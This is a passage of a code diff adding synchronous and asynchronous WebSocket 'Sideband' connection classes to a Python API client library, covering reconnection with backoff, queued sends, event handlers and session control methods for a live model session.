+ async def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+
+ async def _send(data: str) -> None:
+ await self._connection.send(data)
+
+ try:
+ await self._send_queue.flush_async(_send)
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncSidebandConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ async def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncSidebandConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncSidebandConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks until the connection is closed. This is the push-based
+ alternative to iterating with ``async for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ import asyncio
+
+ async for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+ for handler in generic:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+
+class AsyncSidebandConnectionManager:
+ """
+ Context manager over a `AsyncSidebandConnection` that is returned by `live.sideband.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.sideband.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: AsyncOpenAI,
+ session_id: str,
+ graceful_close: bool | Omit = omit,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__session_id = session_id
+ self.__graceful_close = graceful_close
+ self.__connection: AsyncSidebandConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncSidebandConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``AsyncSidebandConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncSidebandConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncSidebandConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def __aenter__(self) -> AsyncSidebandConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.sideband.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+ ws = await self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = AsyncSidebandConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ await self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __aenter__
+
+ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
+ try:
+ from ...lib._websocket import _WebSocketConnect as connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **({"graceful_close": self.__graceful_close} if self.__graceful_close is not omit else {}),
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return await connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + path_template(
+ "/live/sessions/{session_id}/attach", session_id=self.__session_id
+ ).encode("utf-8")
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ await self.__connection.close()
+
+
+class SidebandConnection:
+ """Represents a live WebSocket connection to the Sideband API"""
+
+ session: SidebandSessionResource
+ response: SidebandResponseResource
+
+ _connection: WebSocketConnection
+
+ def __init__(
+ self,
+ connection: WebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], WebSocketConnection] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ self.session = SidebandSessionResource(self)
+ self.response = SidebandResponseResource(self)
+
+ def __iter__(self) -> Iterator[ConnectServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ def recv(self) -> ConnectServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ConnectServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ConnectServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(maybe_transform(event, ConnectClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ self._connection.send(data)
+
+ def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ConnectServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ConnectServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(
+ ConnectServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ConnectServerEvent))
+ )
+
+ def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ time.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
+ def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+ try:
+ self._send_queue.flush_sync(lambda data: self._connection.send(data))
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[SidebandConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> SidebandConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[SidebandConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks the current thread until the connection is closed. This is the push-based
+ alternative to iterating with ``for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ handler(event)
+
+ for handler in generic:
+ handler(event)
+
+
+class SidebandConnectionManager:
+ """
+ Context manager over a `SidebandConnection` that is returned by `live.sideband.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.sideband.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: OpenAI,
+ session_id: str,
+ graceful_close: bool | Omit = omit,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__session_id = session_id
+ self.__graceful_close = graceful_close
+ self.__connection: SidebandConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[SidebandConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``SidebandConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> SidebandConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[SidebandConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def __enter__(self) -> SidebandConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.sideband.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+ ws = self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = SidebandConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __enter__
+
+ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketConnection:
+ try:
+ from websockets.sync.client import connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **({"graceful_close": self.__graceful_close} if self.__graceful_close is not omit else {}),
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + path_template(
+ "/live/sessions/{session_id}/attach", session_id=self.__session_id
+ ).encode("utf-8")
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ self.__connection.close()
+
+
+class BaseSidebandConnectionResource:
+ def __init__(self, connection: SidebandConnection) -> None:
+ self._connection = connection
+
+
+class SidebandSessionResource(BaseSidebandConnectionResource):
+ @cached_property
+ def commentary(self) -> SidebandSessionCommentaryResource:
+ return SidebandSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> SidebandSessionInputAudioResource:
+ return SidebandSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> SidebandSessionInstructionsResource:
+ return SidebandSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> SidebandSessionThinkingResource:
+ return SidebandSessionThinkingResource(self._connection)
+
+ def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id}))
+ )
+
+ def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given({"type": "session.update", "session": session, "event_id": event_id}),
+ )
+ )
+
+
+class SidebandSessionCommentaryResource(BaseSidebandConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class SidebandSessionInputAudioResource(BaseSidebandConnectionResource):
+ def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class SidebandSessionInstructionsResource(BaseSidebandConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class SidebandSessionThinkingResource(BaseSidebandConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class SidebandResponseResource(BaseSidebandConnectionResource):
+ @cached_property
+ def item(self) -> SidebandResponseItemResource:
+ return SidebandResponseItemResource(self._connection)
+
+ def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class SidebandResponseItemResource(BaseSidebandConnectionResource):
+ def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id}),
+ )
+ )
+
+
+class BaseAsyncSidebandConnectionResource:
+ def __init__(self, connection: AsyncSidebandConnection) -> None:
+ self._connection = connection
+
+
+class AsyncSidebandSessionResource(BaseAsyncSidebandConnectionResource):
+ @cached_property
+ def commentary(self) -> AsyncSidebandSessionCommentaryResource:
+ return AsyncSidebandSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> AsyncSidebandSessionInputAudioResource:
+ return AsyncSidebandSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> AsyncSidebandSessionInstructionsResource:
+ return AsyncSidebandSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> AsyncSidebandSessionThinkingResource:
+ return AsyncSidebandSessionThinkingResource(self._connection)
+
+ async def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ await self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id}))
+ )
+
+ async def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ await self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given({"type": "session.update", "session": session, "event_id": event_id}),
+ )
+ )
+
+
+class AsyncSidebandSessionCommentaryResource(BaseAsyncSidebandConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncSidebandSessionInputAudioResource(BaseAsyncSidebandConnectionResource):
+ async def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ await self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ async def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ await self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class AsyncSidebandSessionInstructionsResource(BaseAsyncSidebandConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncSidebandSessionThinkingResource(BaseAsyncSidebandConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncSidebandResponseResource(BaseAsyncSidebandConnectionResource):
+ @cached_property
+ def item(self) -> AsyncSidebandResponseItemResource:
+ return AsyncSidebandResponseItemResource(self._connection)
+
+ async def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ await self._connection.send(
+ cast(ConnectClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class AsyncSidebandResponseItemResource(BaseAsyncSidebandConnectionResource):
+ async def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ await self._connection.send(
+ cast(
+ ConnectClientEventParam,
+ strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id}),
+ )
+ )
diff --git a/src/openai/resources/webhooks/api.md b/src/openai/resources/webhooks/api.md
index 24101fc78f..210ee18090 100644
--- a/src/openai/resources/webhooks/api.md
+++ b/src/openai/resources/webhooks/api.md
@@ -15,6 +15,7 @@ from openai.types.webhooks import (
FineTuningJobFailedWebhookEvent,
